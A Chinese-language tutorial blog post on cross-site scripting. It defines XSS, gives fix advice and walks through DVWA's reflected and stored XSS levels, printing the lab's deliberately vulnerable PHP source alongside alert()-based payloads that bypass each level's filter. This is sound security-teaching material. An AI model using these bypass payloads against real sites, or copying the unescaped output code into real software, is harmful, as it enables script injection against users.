XSS基础学习

Catalogue
  1. 1. XSS基础学习
    1. 1.1. XSS定义
    2. 1.2. XSS分类
    3. 1.3. 常用的测试语句
    4. 1.4. 修复建议
    5. 1.5. DVWA XSS
      1. 1.5.1. Reflected:Low
      2. 1.5.2. Reflected:Medium
      3. 1.5.3. Reflected:High
      4. 1.5.4. Reflected:Impossible
      5. 1.5.5. Stored:Low
      6. 1.5.6. Stored:Medium
      7. 1.5.7. Stored:High
      8. 1.5.8. Stored:Impossible

XSS基础学习

XSS定义

原理:利用网站对用户输入、网站输出过滤不足的缺陷,构造能够对其他用户造成影响的html代码,从而对访问者造成侵害。

(以下内容来自百度百科)

XSS攻击通常指的是通过利用网页开发时留下的漏洞,通过巧妙的方法注入恶意指令代码到网页,使用户加载并执行攻击者恶意制造的网页程序。这些恶意网页程序通常是JavaScript,但实际上也可以包括Java、 VBScript、ActiveX、 Flash 或者甚至是普通的HTML。攻击成功后,攻击者可能得到包括但不限于更高的权限(如执行一些操作)、私密网页内容、会话和cookie等各种内容。


XSS分类

反射型XSS:恶意脚本存在用户访问的链接上,网站通过链接上的参数来生成内容导致反射型XSS,通常位一次性,隐蔽性低,使用的时候需要进行混淆

存储型XSS:恶意脚本存在服务器上,用户通过访问该网页就会触发,隐蔽性高

DOM型XSS:属于一种特殊的反射型XSS,基于DOM对象模型,客户端可通过DOM动态修改页面内容,通过专门设计的URL使目标访问来触发


常用的测试语句

1
<script>alert`1`</script>
1
<img src=x onerror=alert`1`>
1
<svg/onload=alert(1)>
1
<a href=javascript:alert(1)>

修复建议

对于输入:

  • 过滤',",<,>,on*等非法字符

对于输出

  • 对输出到页面的数据进行相应的编码转换,包括HTML实体编码、Javascript编码等

DVWA XSS

Reflected:Low

image-20200612103525633

源代码:

1
2
3
4
5
6
7
<?php
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Feedback for end user
echo '<pre>Hello ' . $_GET[ 'name' ] . '</pre>';
}
?>

array_key_exists(key,array) 函数的功能是:检查键名是否存在数组中

例如:

1
2
3
4
5
6
7
8
9
10
11
<?php
$a=array("Volvo"=>"XC90","BMW"=>"X5");
if (array_key_exists("Volvo",$a))
{
echo "键存在!";
}
else
{
echo "键不存在!";
}
?>
1
运行结果:键存在

输入框的输入的值通过GET方法提交到服务器,服务端仅检测此值是否存在,存在就直接打印出来

所以构造payload:

1
</pre><svg/onload=alert`1`><pre>

就会触发

image-20200612103812395

Reflected:Medium

源代码:

1
2
3
4
5
6
7
8
9
<?php
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Get input
$name = str_replace( '<script>', '', $_GET[ 'name' ] );
// Feedback for end user
echo "<pre>Hello ${name}</pre>";
}
?>

str_replace(find,replace,string,count) 函数的作用是,将字符串中的值替换成另一个值,可以选择替换几个

示例:

1
2
3
<?php
echo str_replace("world","Shanghai","Hello world!");
?>
1
运行结果:Hello Shanghai!

这里比上次多了一行代码,将name的值里面的<script>转换成空字符,只要构造语句里没有<script>,或者使用大小写,即可绕过该条限制

Payload:

1
</pre><scriPT>alert`1`</scriPT><pre>

或者:

1
</pre><svg/onload=alert`1`><pre>

Reflected:High

源代码:

1
2
3
4
5
6
7
8
9
<?php
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Get input
$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] );
// Feedback for end user
echo "<pre>Hello ${name}</pre>";
}
?>

preg_replace 函数执行一个正则表达式的搜索和替换。

这里的正则表达式的含义是匹配script字符串,只要没出现就行

payload与之前一样:

1
</pre><svg/onload=alert`1`><pre>

Reflected:Impossible

源代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// Get input
$name = htmlspecialchars( $_GET[ 'name' ] );
// Feedback for end user
echo "<pre>Hello ${name}</pre>";
}
// Generate Anti-CSRF token
generateSessionToken();
?>

htmlspecialchars()函数的功能是:把预定义的字符 “<” (小于)和 “>” (大于)转换为 HTML 实体,即浏览器是把这玩意认为是字符而不是html标签的尖括号

就过滤XSS代码而言,Impossible难度使用htmlspecialchars函数进行过滤,让<>尖括号失效,在这种场合,XSS也就不存在了,除非能绕过该函数的过滤

Stored:Low

image-20200612105334097

源代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
if( isset( $_POST[ 'btnSign' ] ) ) {
// Get input
$message = trim( $_POST[ 'mtxMessage' ] );
$name = trim( $_POST[ 'txtName' ] );
// Sanitize message input
$message = stripslashes( $message );
$message = mysql_real_escape_string( $message );
// Sanitize name input
$name = mysql_real_escape_string( $name );
// Update database
$query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
$result = mysql_query( $query ) or die( '<pre>' . mysql_error() . '</pre>' );
//mysql_close();
}
?>

trim():函数用于删除两侧空格

stripslashes():函数用于删除反斜杠,用于清理从html表单或数据库取回的数据

mysql_real_escape_string():函数转义字符串中的特殊字符(用在SQL语句的)

die() :函数输出一条消息,并退出当前脚本

程序将POST接收到的数据进行转义,然后插入数据库中,再次访问网页的时候,数据从数据库取出来输出在网页上。

这里的转义只是转义SQL中的特殊字符,所以<>还能用

payload:

1
<svg/onload=alert`1`>

可绕过前端输入框长度限制放在name里或者直接放在Message输入框里均可

image-20200612111129462

Stored:Medium

源代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
if( isset( $_POST[ 'btnSign' ] ) ) {
// Get input
$message = trim( $_POST[ 'mtxMessage' ] );
$name = trim( $_POST[ 'txtName' ] );
// Sanitize message input
$message = strip_tags( addslashes( $message ) );
$message = mysql_real_escape_string( $message );
$message = htmlspecialchars( $message );
// Sanitize name input
$name = str_replace( '<script>', '', $name );
$name = mysql_real_escape_string( $name );
// Update database
$query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
$result = mysql_query( $query ) or die( '<pre>' . mysql_error() . '</pre>' );
//mysql_close();
}
?>

strip_tags():函数功能是让字符串中的html,xml,php标签变成空字符

Medium与Low相比,Medium过滤有些许变化,给Message字符串的特殊字符加反斜杠转义,然后再转义sql特殊字符,然后再转义尖括号<>;对name字符串则只是将<script>字符串过滤掉,大小写或者使用其他标签可绕过,然后过滤sql特殊字符,但是name输入框有最大长度限制,因为限制在前端,所以很好绕过。

payload:

1
<ScRiPt>alert("`")</ScriPT>

Stored:High

源代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
if( isset( $_POST[ 'btnSign' ] ) ) {
// Get input
$message = trim( $_POST[ 'mtxMessage' ] );
$name = trim( $_POST[ 'txtName' ] );
// Sanitize message input
$message = strip_tags( addslashes( $message ) );
$message = mysql_real_escape_string( $message );
$message = htmlspecialchars( $message );
// Sanitize name input
$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $name );
$name = mysql_real_escape_string( $name );
// Update database
$query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
$result = mysql_query( $query ) or die( '<pre>' . mysql_error() . '</pre>' );
//mysql_close();
}
?>

与之前Medium不同的是对name字符串的过滤不一样了,这次使用正则匹配script字符,不能用大小写绕过了,那就换个标签来即可

payload:

1
<svg/onload=alert`1`>

Stored:Impossible

源代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25

<?php
if( isset( $_POST[ 'btnSign' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// Get input
$message = trim( $_POST[ 'mtxMessage' ] );
$name = trim( $_POST[ 'txtName' ] );
// Sanitize message input
$message = stripslashes( $message );
$message = mysql_real_escape_string( $message );
$message = htmlspecialchars( $message );
// Sanitize name input
$name = stripslashes( $name );
$name = mysql_real_escape_string( $name );
$name = htmlspecialchars( $name );
// Update database
$data = $db->prepare( 'INSERT INTO guestbook ( comment, name ) VALUES ( :message, :name );' );
$data->bindParam( ':message', $message, PDO::PARAM_STR );
$data->bindParam( ':name', $name, PDO::PARAM_STR );
$data->execute();
}
// Generate Anti-CSRF token
generateSessionToken();
?>

这里使用PDO来防止SQL注入

对name和message采用了同样的方式来防止XSS

Anti-CSRF token机制有效防止了CSRF